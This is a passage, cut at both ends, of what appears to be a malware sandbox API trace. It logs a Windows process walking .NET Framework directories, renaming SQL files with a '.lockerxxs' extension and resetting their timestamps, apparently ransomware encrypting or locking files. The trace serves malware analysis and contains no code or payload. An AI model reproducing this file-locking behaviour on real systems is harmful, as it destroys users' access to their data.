SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.088] CloseHandle (hObject=0x90) returned 1 [0139.101] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0139.101] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0139.101] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ace6100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b875b80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0139.102] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.102] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.102] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.104] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.104] CloseHandle (hObject=0x90) returned 1 [0139.109] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.109] CloseHandle (hObject=0x8c) returned 1 [0139.109] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installcommon.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallCommon.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installcommon.sql.lockerxxs")) returned 1 [0139.116] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.116] CloseHandle (hObject=0x8c) returned 1 [0139.116] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installmembership.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallMembership.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installmembership.sql.lockerxxs")) returned 1 [0139.121] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.121] CloseHandle (hObject=0x8c) returned 1 [0139.121] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installpersistsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallPersistSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installpersistsqlstate.sql.lockerxxs")) returned 1 [0139.126] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.126] CloseHandle (hObject=0x8c) returned 1 [0139.126] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installpersonalization.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallPersonalization.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installpersonalization.sql.lockerxxs")) returned 1 [0139.131] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.131] CloseHandle (hObject=0x8c) returned 1 [0139.131] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installprofile.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallProfile.SQL.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installprofile.sql.lockerxxs")) returned 1 [0139.135] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.135] CloseHandle (hObject=0x8c) returned 1 [0139.136] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installroles.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallRoles.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installroles.sql.lockerxxs")) returned 1 [0139.140] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.140] CloseHandle (hObject=0x8c) returned 1 [0139.141] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installsqlstate.sql.lockerxxs")) returned 1 [0139.145] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.145] CloseHandle (hObject=0x8c) returned 1 [0139.145] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installsqlstatetemplate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallSqlStateTemplate.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installsqlstatetemplate.sql.lockerxxs")) returned 1 [0139.150] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0139.150] CloseHandle (hObject=0x8c) returned 1 [0139.150] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installwebeventsqlprovider.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallWebEventSqlProvider.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installwebeventsqlprovider.sql.lockerxxs")) returned 1 [0139.162] lstrcmpA (lpString1=".", lpString2="MOF") returned -1 [0139.162] lstrcmpA (lpString1="..", lpString2="MOF") returned -1 [0139.162] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MOF\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b4c89e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd12439a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd12439a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0139.164] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.164] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.164] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.166] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.166] CloseHandle (hObject=0x90) returned 1 [0139.167] lstrcmpA (lpString1=".", lpString2="MSBuild") returned -1 [0139.167] lstrcmpA (lpString1="..", lpString2="MSBuild") returned -1 [0139.167] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ef93520, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce96a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0139.168] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.168] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.168] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.172] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.172] CloseHandle (hObject=0x90) returned 1 [0139.175] lstrcmpA (lpString1=".", lpString2="MUI") returned -1 [0139.175] lstrcmpA (lpString1="..", lpString2="MUI") returned -1 [0139.175] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MUI\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d359600, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d359600, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d359600, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0139.176] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.176] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.176] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.176] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0139.176] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0139.176] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MUI\\0409\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d359600, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d359600, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d359600, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0139.177] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.177] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.177] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.179] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.179] CloseHandle (hObject=0x94) returned 1 [0139.185] lstrcmpA (lpString1=".", lpString2="SetupCache") returned -1 [0139.185] lstrcmpA (lpString1="..", lpString2="SetupCache") returned -1 [0139.185] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x774362c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x774362c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0139.188] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.188] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.188] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.188] lstrcmpA (lpString1=".", lpString2="v4.6.00081") returned -1 [0139.188] lstrcmpA (lpString1="..", lpString2="v4.6.00081") returned -1 [0139.188] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5683b800, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x612e0120, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x612e0120, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0139.191] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.192] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.192] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.192] lstrcmpA (lpString1=".", lpString2="1025") returned -1 [0139.192] lstrcmpA (lpString1="..", lpString2="1025") returned -1 [0139.193] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1025\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.193] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.193] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.193] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0139.197] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0139.197] CloseHandle (hObject=0x98) returned 1 [0139.198] lstrcmpA (lpString1=".", lpString2="1028") returned -1 [0139.198] lstrcmpA (lpString1="..", lpString2="1028") returned -1 [0139.198] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1028\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.200] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0139.200] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0139.204] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1029\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.207] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1030\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.211] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1031\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.214] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1032\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x591e3900, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.219] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1033\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.223] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1035\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.227] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1036\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.232] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1037\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.246] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1038\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.252] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1040\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.257] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1041\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59209a60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.262] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1042\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.269] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1043\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.274] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1044\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.279] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1045\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.284] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1046\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.289] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1049\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d56e940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.294] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1053\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d56e940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.331] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1055\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d56e940, 